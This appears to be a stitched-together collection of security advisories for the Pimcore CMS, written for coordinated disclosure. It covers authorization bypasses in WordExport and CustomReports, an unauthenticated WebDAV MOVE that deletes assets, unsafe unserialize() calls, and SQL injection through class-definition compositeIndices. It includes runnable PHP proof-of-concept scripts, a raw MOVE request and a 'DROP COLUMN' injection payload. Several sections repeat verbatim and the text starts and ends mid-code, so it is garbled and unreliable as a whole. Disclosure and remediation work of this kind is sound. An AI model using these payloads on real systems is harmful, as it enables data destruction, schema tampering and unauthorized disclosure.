    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
2. Create a test page at /poc-wordexport-secret-page containing sensitive values:
   • title = POC-WORDEXPORT-TITLE
   • description = POC-WORDEXPORT-DESC
3. Verify that the user does not have view permission on that page.
4. Execute wordExportAction() and wordExportDownloadAction() as that user.
5. Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}

This shows that:

• The user cannot view the target page
• The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

• Unauthorized disclosure of structured page fields
• Unauthorized export of restricted backend content
• Potential exposure of unpublished or otherwise restricted content
• Lateral data access by low-privileged backend accounts

Remediation

1. Perform object-level authorization immediately after resolving the element from type/id.
2. Require at least view permission on the target element.
3. Apply consistent authorization checks across page, snippet, email, and object.
4. Bind export creation and export download to the requesting user or an equivalent authorization context.
5. Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Summary

Pimcore's WebDAV asset endpoint exposes a MOVE operation through /asset/webdav{path} without adding an authentication plugin in the WebDAV controller. The Tree::move() implementation then performs asset mutation and deletion before checking a current Pimcore user or any asset permissions.

An unauthenticated remote attacker who knows two existing asset paths in the same directory can send a WebDAV MOVE request that deletes the source asset. Authenticated low-privileged users may also be able to perform unauthorized asset move or overwrite operations because the move path does not enforce rename, delete, create, or publish permissions.

Details

The route for WebDAV is globally registered and accepts arbitrary trailing paths:

# bundles/CoreBundle/config/routing.yaml
pimcore_webdav:
    path: /asset/webdav{path}
    defaults: { _controller: Pimcore\Bundle\CoreBundle\Controller\WebDavController::webdavAction }
    requirements:
        path: '.*'

The controller constructs a SabreDAV server but only attaches lock and browser plugins. It does not attach an authentication plugin or perform an explicit user/session check before starting the server:

# bundles/CoreBundle/src/Controller/WebDavController.php
$publicDir = new Asset\WebDAV\Folder($homeDir);
$objectTree = new Asset\WebDAV\Tree($publicDir);
$server = new \Sabre\DAV\Server($objectTree);
$server->setBaseUri($this->generateUrl('pimcore_webdav', ['path' => '/']));
$server->addPlugin($lockPlugin);
$server->addPlugin(new \Sabre\DAV\Browser\Plugin());
$server->start();

Most WebDAV file and folder operations perform permission checks through isAllowed(), but Tree::move() does not. In the overwrite path for a same-directory move, it deletes the source asset before resolving the current user:

# models/Asset/WebDAV/Tree.php
if (dirname($sourcePath) == dirname($destinationPath)) {
    if ($asset = Asset::getByPath('/' . $destinationPath)) {
        $sourceAsset = Asset::getByPath('/' . $sourcePath);
        $asset->setData($sourceAsset->getData());
        $sourceAsset->delete();
    }
    ...
}

$user = \Pimcore\Tool\Admin::getCurrentUser();
$asset->setUserModification($user->getId());
$asset->save();

Asset::delete() removes the asset without an internal permission gate:

# models/Asset.php
public function delete(bool $isNested = false): void
{
    ...
    $this->getDao()->delete();
    ...
    $this->deletePhysicalFile();
}

Because the source asset deletion happens before $user->getId(), an unauthenticated request can still cause a deletion even if later execution fails when no current user is present.

PoC

Prerequisites:

• Pimcore 2026.1.0 with the built-in WebDAV route enabled.
• Two existing asset paths in the same directory, for example /products/source.jpg and /products/existing.jpg.
• No valid session is required for the unauthenticated deletion path.

PoC request:

MOVE /asset/webdav/products/source.jpg HTTP/1.1
Host: target.example
Destination: http://target.example/asset/webdav/products/existing.jpg
Overwrite: T

Result:

The server will return an error after the deletion because Tree::move() later attempts to call $user->getId() when no current user exists. However, the source asset at /products/source.jpg has already been deleted by $sourceAsset->delete() before that failure point.

For an authenticated low-privileged backend user without sufficient asset permissions, the same request can also reach the unchecked move path and may overwrite the destination asset or move an asset without the expected per-asset permission checks.

Impact

This issue allows remote unauthorized destruction of assets when paths are known or guessable. In Pimcore deployments where assets represent product images, documents, media, or DAM-managed business content, deletion or unauthorized overwrite can cause data loss, content integrity loss, and service disruption.

GitHub Security Advisory Draft — GM-374

Summary

Multiple locations in Pimcore v11 call PHP's unserialize() on data from database columns and filesystem files without the allowed_classes restriction, enabling object injection if an attacker can control the serialized data source.

Severity

CVSS 3.1: 8.0 (High) — AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Component

• Package: pimcore/pimcore and pimcore/admin-ui-classic-bundle
• Files:
  • lib/Tool/Authentication.php (line 82) — session token deserialization
  • models/Site/Dao.php (line 68) — site domains from database
  • models/DataObject/ClassDefinition/CustomLayout/Dao.php (line 69) — layout definitions from database
  • models/Tool/TmpStore/Dao.php (line 64) — temporary store data from database
  • models/Asset/WebDAV/Service.php (line 36) — delete log from filesystem
  • admin-ui-classic-bundle/src/Helper/Dashboard.php (line 64) — dashboard config from filesystem

Description

Six locations in Pimcore core call unserialize() directly (bypassing Tool\Serialize) on data sourced from database columns or filesystem files without passing the allowed_classes parameter. This means any class available in the autoloader will be instantiated during deserialization.

If an attacker can write to the data source (e.g., via SQL injection targeting the tmp_store, sites, or custom_layouts tables, or via a file write vulnerability targeting the WebDAV delete log), they can inject serialized PHP gadget chains that execute arbitrary code when the data is deserialized.

This is related to but distinct from the Tool\Serialize::unserialize() issue — these calls bypass the wrapper entirely.

Impact

PHP object injection leading to Remote Code Execution when chained with a data source write vulnerability. Pimcore's dependency tree (Guzzle, Symfony, Monolog, Doctrine) provides numerous known gadget chains.

Proof of Concept

1. Identify a writable data source (e.g., tmp_store table via SQL injection, or webdav-delete.dat via file write)
2. Write a serialized PHP gadget chain (e.g., Monolog BufferHandler chain from phpggc)
3. Trigger the deserialization (e.g., access a page that reads TmpStore, or trigger a WebDAV operation)
4. The gadget chain executes with web server privileges

Suggested Fix

Add allowed_classes parameter to all unserialize() calls. Where no objects are needed, use ['allowed_classes' => false]. Consider migrating to JSON serialization for data that doesn't require object preservation.

// Example fix for Site/Dao.php:
$siteDomains = unserialize($site['domains'], ['allowed_classes' => false]);

// Example fix for TmpStore/Dao.php:
$item['data'] = unserialize($item['data'], ['allowed_classes' => false]);

References

• CWE-502: Deserialization of Untrusted Data
• OWASP Deserialization Cheat Sheet
• phpggc: PHP Generic Gadget Chains

My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am reaching out because we have identified a security vulnerability in Pimcore 12.3.3 that we would like to report to you so we can coordinate a responsible disclosure together.

As part of our standard disclosure measures, we follow a timeline (outlined at https://fluidattacks.com/advisories/policy), which is aligned with ISO/IEC 29147:2018 and ISO/IEC 30111:2019. In short, the timeline works as follows: we ask for acknowledgment of the report within a few days of your first accessing it, and from there, we are happy to coordinate a joint disclosure date with you, typically within 90 days of the initial discovery. This gives your team reasonable time to assess, develop, and release a fix.

We have reserved the CVE ID "CVE-2026-5394" for this issue, and the advisory will eventually be published at https://fluidattacks.com/advisories/dragons. We are committed to coordinating the timing of that publication with you.

Please feel free to reach out if you have any questions about the report, the process, or the timeline. We are glad to work with you on this.

Description

An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

The vulnerable flow accepts compositeIndices from imported JSON, stores the values without strict validation, and later concatenates them directly into ALTER TABLE ... DROP INDEX and ALTER TABLE ... ADD INDEX statements executed through Doctrine DBAL.

Although the original report focused on compositeIndices.index_key, independent code review shows that the strongest and most reliable injection point is compositeIndices.index_columns, because it is inserted verbatim inside the ADD INDEX (...) clause. This permits injection of additional ALTER TABLE subclauses against Pimcore object tables without relying on stacked queries.

Vulnerability

Root cause

1. Source:
   • Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson() accepts compositeIndices directly from imported JSON.
2. Assignment:
   • Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices() does not enforce an allowlist for index names or column names.
   • The only special handling is a ManyToOne relation rewrite to __id and __type, which is not a security control.
3. Sink:
   • Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices() builds raw SQL with string concatenation and executes it via $this->db->executeQuery(...).
4. Missing protection:
   • quoteIdentifier() is used for the SHOW INDEXES query, but not for the dynamic ALTER TABLE statements.
   • No server-side schema validation restricts index_key or index_columns to known safe identifier characters.

Confirmed source-to-sink path

1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.
2. setCompositeIndices() stores those values without sanitizing identifier content.
3. ClassDefinition::save() reaches ClassDefinition\Dao::update().
4. Dao::update() calls updateCompositeIndices() for:
   • object_store_<classId>
   • object_query_<classId>
5. Localizedfield\Dao also calls updateCompositeIndices() for:
   • localized query tables
   • localized store tables

Why this is exploitable

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className` -- 

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

• unauthorized schema modification on object query/store tables
• backend denial of service by breaking expected table layout
• data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

• models/DataObject/ClassDefinition/Service.php:92-137
• models/DataObject/ClassDefinition.php:994-1006
• models/DataObject/Traits/CompositeIndexTrait.php:30-85
• models/DataObject/ClassDefinition/Dao.php:217-218
• models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

• valid authenticated administrative session
• ability to import or save a class definition containing compositeIndices

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

1. Authenticate as an administrator with permission to manage/import class definitions.
2. Export an existing class definition or prepare a valid class-definition JSON document.
3. Replace only the compositeIndices section with the payload above.
4. Import the modified definition or save the class through the administrative workflow.

Expected result:

• Pimcore reaches updateCompositeIndices() during class save/import.
• The backend executes an attacker-influenced ALTER TABLE statement against the target object table.
• The affected class table is modified unexpectedly, for example by dropping a column or otherwise changing schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied to $columns before they are interpolated into SQL.

Evidence of Exploitation

• Video of exploitation:

https://github.com/user-attachments/assets/64a49147-12a5-4550-ba22-cb4383523557

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Pimcore Platform Version v12.3.3 Database layer: doctrine/dbal ^4.4 Operating System: Any

References

Github Repository: https://github.com/pimcore/pimcore Security: https://github.com/pimcore/pimcore/security

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

• The listing flow filters reports based on report-sharing rules
• The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

• The report poc-secret-report was not visible to the low-privileged user in the report list
• The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)
• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)
• CustomReportController.php
• [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)
• Config/Listing/Dao.php

However, getAction() only checks generic permissions and then loads the report directly by name:

• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)
• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)
• CustomReportController.php
• CustomReportController.php

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

• Report name
• Grouping information
• Display and icon metadata
• Data source configuration
• Column configuration
• Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)
• [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)
• CustomReportController.php

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

• The attacker is an authenticated backend user
• The attacker has the reports permission
• The target report is not globally shared and is not shared with that user or the user's roles

PoC

<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

1. Create a low-privileged user named auditor_customreports with the reports permission.
2. Create a report named poc-secret-report with:
   • shareGlobally = false
   • sharedUserNames = ['admin']
3. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
4. As the same user, call getAction(name=poc-secret-report) directly.
5. Verify that the response still contains the report configuration.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

• The current user cannot see the report in the visible report list
• The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

• Unauthorized disclosure of report configuration
• Disclosure of sharing scope and internal report structure
• Potential leakage of data-source and query organization details
• Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
3. Return 403 for unshared reports.
4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

• POC-WORDEXPORT-TITLE
• POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
• TranslationController.php

It then directly resolves the target element from attacker-controlled type/id input:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)

For document-like elements such as Page and Snippet, it renders content in an admin context:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
• TranslationController.php
• TranslationController.php

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

• page
• snippet
• email
• object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

• The attacker is an authenticated backend user
• The attacker has the word_export permission
• The attacker does not have view permission on the target document

Reproduction Environment

• Reproduction root: pimcore-12.3.3-repro
• Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)

<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
2. Create a test page at /poc-wordexport-secret-page containing sensitive values:
   • title = POC-WORDEXPORT-TITLE
   • description = POC-WORDEXPORT-DESC
3. Verify that the user does not have view permission on that page.
4. Execute wordExportAction() and wordExportDownloadAction() as that user.
5. Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}

This shows that:

• The user cannot view the target page
• The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

• Unauthorized disclosure of structured page fields
• Unauthorized export of restricted backend content
• Potential exposure of unpublished or otherwise restricted content
• Lateral data access by low-privileged backend accounts

Remediation

1. Perform object-level authorization immediately after resolving the element from type/id.
2. Require at least view permission on the target element.
3. Apply consistent authorization checks across page, snippet, email, and object.
4. Bind export creation and export download to the requesting user or an equivalent authorization context.
5. Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Summary

Pimcore's WebDAV asset endpoint exposes a MOVE operation through /asset/webdav{path} without adding an authentication plugin in the WebDAV controller. The Tree::move() implementation then performs asset mutation and deletion before checking a current Pimcore user or any asset permissions.

An unauthenticated remote attacker who knows two existing asset paths in the same directory can send a WebDAV MOVE request that deletes the source asset. Authenticated low-privileged users may also be able to perform unauthorized asset move or overwrite operations because the move path does not enforce rename, delete, create, or publish permissions.

Details

The route for WebDAV is globally registered and accepts arbitrary trailing paths:

# bundles/CoreBundle/config/routing.yaml
pimcore_webdav:
    path: /asset/webdav{path}
    defaults: { _controller: Pimcore\Bundle\CoreBundle\Controller\WebDavController::webdavAction }
    requirements:
        path: '.*'

The controller constructs a SabreDAV server but only attaches lock and browser plugins. It does not attach an authentication plugin or perform an explicit user/session check before starting the server:

# bundles/CoreBundle/src/Controller/WebDavController.php
$publicDir = new Asset\WebDAV\Folder($homeDir);
$objectTree = new Asset\WebDAV\Tree($publicDir);
$server = new \Sabre\DAV\Server($objectTree);
$server->setBaseUri($this->generateUrl('pimcore_webdav', ['path' => '/']));
$server->addPlugin($lockPlugin);
$server->addPlugin(new \Sabre\DAV\Browser\Plugin());
$server->start();

Most WebDAV file and folder operations perform permission checks through isAllowed(), but Tree::move() does not. In the overwrite path for a same-directory move, it deletes the source asset before resolving the current user:

# models/Asset/WebDAV/Tree.php
if (dirname($sourcePath) == dirname($destinationPath)) {
    if ($asset = Asset::getByPath('/' . $destinationPath)) {
        $sourceAsset = Asset::getByPath('/' . $sourcePath);
        $asset->setData($sourceAsset->getData());
        $sourceAsset->delete();
    }
    ...
}

$user = \Pimcore\Tool\Admin::getCurrentUser();
$asset->setUserModification($user->getId());
$asset->save();

Asset::delete() removes the asset without an internal permission gate:

# models/Asset.php
public function delete(bool $isNested = false): void
{
    ...
    $this->getDao()->delete();
    ...
    $this->deletePhysicalFile();
}

Because the source asset deletion happens before $user->getId(), an unauthenticated request can still cause a deletion even if later execution fails when no current user is present.

PoC

Prerequisites:

• Pimcore 2026.1.0 with the built-in WebDAV route enabled.
